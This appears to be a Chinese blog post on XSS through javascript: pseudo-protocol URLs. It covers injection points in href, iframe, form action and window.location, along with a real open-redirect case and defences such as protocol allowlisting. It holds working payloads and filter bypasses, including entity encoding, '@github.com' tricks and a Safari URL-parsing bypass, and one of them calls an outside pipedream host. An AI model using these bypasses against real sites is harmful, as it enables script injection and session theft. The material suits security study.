Javascript伪协议

where

  1. href: <a href=javascript:alert(1)>Link</a>
  2. iframe: <iframe src=javascript:alert(1)></iframe>
  3. form的action
<form action=javascript:alert(1)>  
<button>submit</button>  
</form>
  1. button的formaction
<form id=f2>  
</form>  
<button form=f2 formaction=javascript:alert(2)>submit</button>
  1. windows.location
window.location = 'javascript:alert(1)'
例子1:插入youtube视频

如果網站上有個功能可以讓使用者在發文時填入 YouTube 影片網址,並且在文章中自動嵌入

<iframe src="<?= $youtube_url ?>" width="500" height="300">
</iframe>
  1. javascript:alert(1);
  2. 绕过对youtube.com的检查:javascript:alert(1);console.log('youtube.com')
  3. 防御:正確方式是檢查網址是否為 YouTube 影片的格式,並且要確保網址是以 https:// 開頭
例子2:profile 頁面填入自己的 blog

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

后端代码

<a href="<?php echo htmlspecialchars($data) ?>">link</a>`

儘管把 <>"; 都做了編碼,沒辦法新增標籤,也沒辦法跳脫雙引號新增屬性,但攻擊者依舊可以插入 javascript:alert(1),因為這裡面完全沒有任何不合法的字元。

例3:

<a href="<?php echo htmlspecialchars($data) ?>">link</a>

payload:
data=javascript:alert(1)
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

React

現在的前端框架基本上都會自動幫你做好跳脫,沒有在 React 裡面使用 dangerouslySetInnerHTML 或是在 Vue 裡面使用 v-html 的話,基本上都是沒什麼問題的,但是 href 就不同了,理由同上,它的內容是沒問題的。

import React from 'react';

export function App(props) {
  // 假設底下的資料是來自於使用者
  const href = 'javascript:alert(1)'
  return (
    <a href={href}>click me</a>
  );
}

\ React 在 v16.9 的時候有針對這個行為新增警告,在文件裡面也有說明:Deprecating javascript: URLs,警告的內容是:

Warning: A future version of React will block javascript: URLs as a security precaution. Use event handlers instead if you can. If you need to generate unsafe HTML try using dangerouslySetInnerHTML instead.

在 React GitHub 的 issue 裡面也有更多的討論:

  1. React@16.9 block javascript:void(0); #16592
  2. False-positive security precaution warning (javascript: URLs) #16382
Vue
<script setup>
import { ref } from 'vue'

const link = ref('javascript:alert(1)')
</script>

<template>
  <a :href="link">click me</a>
</template>

URL Injection
 
如果要在前端處理的話,有提到可以用 sanitize-url 這一套 library。

页面跳转

const searchParams = new URLSearchParams(location.search)
window.location = searchParams.get('redirect')

payload:

window.location = 'javascript:alert(document.domain)'
例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
点击登录后会调用redirectToTarget 的 function:

/**
 * Redirect to "?target=" or fallback URL with page reload.
 *
 * (works on CSR)
 */
export const redirectToTarget = ({
  fallback = 'current',
}: {
  fallback?: 'homepage' | 'current'
} = {}) => {
  const fallbackTarget =
    fallback === 'homepage'
      ? `/` // FIXME: to purge cache
      : window.location.href
  const target = getTarget() || fallbackTarget

  window.location.href = decodeURIComponent(target)
}

在拿到 target 之後直接使用了:window.location.href = decodeURIComponent(target) 來做重新導向。而 getTarget 其實就是去 query string 把 target 的值拿出來。所以如果登入的網址是:https://matters.news/login?target=javascript:alert(1),在使用者按下登入並且成功之後,就會跳出一個 alert,觸發 XSS!

javascript过滤

HTML 裡面的屬性內容是可以經過編碼的
<a href="&#106avascript&colon;alert(1)">click me</a>
<a href=&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;:alert(1)>clickme</a>

http://验证

javascript:alert(http://)

javascript:alert@github.com/#://

编码:
javascript:alert%28%27Slonser%20was%20here%21%27%29%3B%2F%2F@github.com#;alert(10);://eow5kas78d0wlv0.m.pipedream.net%27

tg xss

防御

  1. 使用sanitize-url
  2. 只允許 http:// 跟 https:// 開頭的字串
  3. 利用 JavaScript 去解析 URL,根据 protocol 判斷是否為合法的協議,來阻擋名單之外的內容
console.log(new URL('javascript:alert(1)'))
/*
  {
    // ...
    href: "javascript:alert(1)",
    origin: "null",
    pathname: "alert(1)",
    protocol: "javascript:",
  }
*/
  1. target="_blank" 在Chrome 当你点了连结时,会新开一个网址为的about:blank#blocked分页,在Firefox 会新开一个没有网址的分页,在Safari 则是什么事情都不会发生,在这三个桌面浏览器上都不会执行JavaScript。
  2. 正则表达过滤

补充

而有个常见的错误判断方式一样会利用URL 来解析,但却是看hostname 或是origin 等等:

console.log(new URL('javascript:alert(1)'))
/* 
	{ 
		// ... 
		hostname: "", 
		host: "", 
		origin: null 
		} 
	*/

hostname或是host为空的时候,就代表是不合法的网址。这样的方式虽然乍看之下没问题,但我们可以利用//在JavaScript 中是注解的特性,搭配换行字元来做出一个看起来像网址,但其实是javascript: 伪协议的字串:

console.log(new URL('javascript://huli.tw/%0aalert(1)')) 
/* 
	{ 
		// ... 
		hostname: "", 
		host: "", 
		origin: null 
		} 
	*/

虽然看起来很像网址,但是在Chrome 上面没有问题,不会误判,可是Safari 就不同了,同样的程式码在Safari 16.3 上面执行,输出结果是:

console.log(new URL('javascript://huli.tw/%0aalert(1)'))
/*
  {
    // ...
    hostname: "huli.tw",
    host: "huli.tw",
    origin: "null"
  }
*/

链接

The curious case of XSS and the mouse middle button.
Anchor Tag XSS Exploitation in Firefox with Target=”_blank”

  • 32
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FL1768317410

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值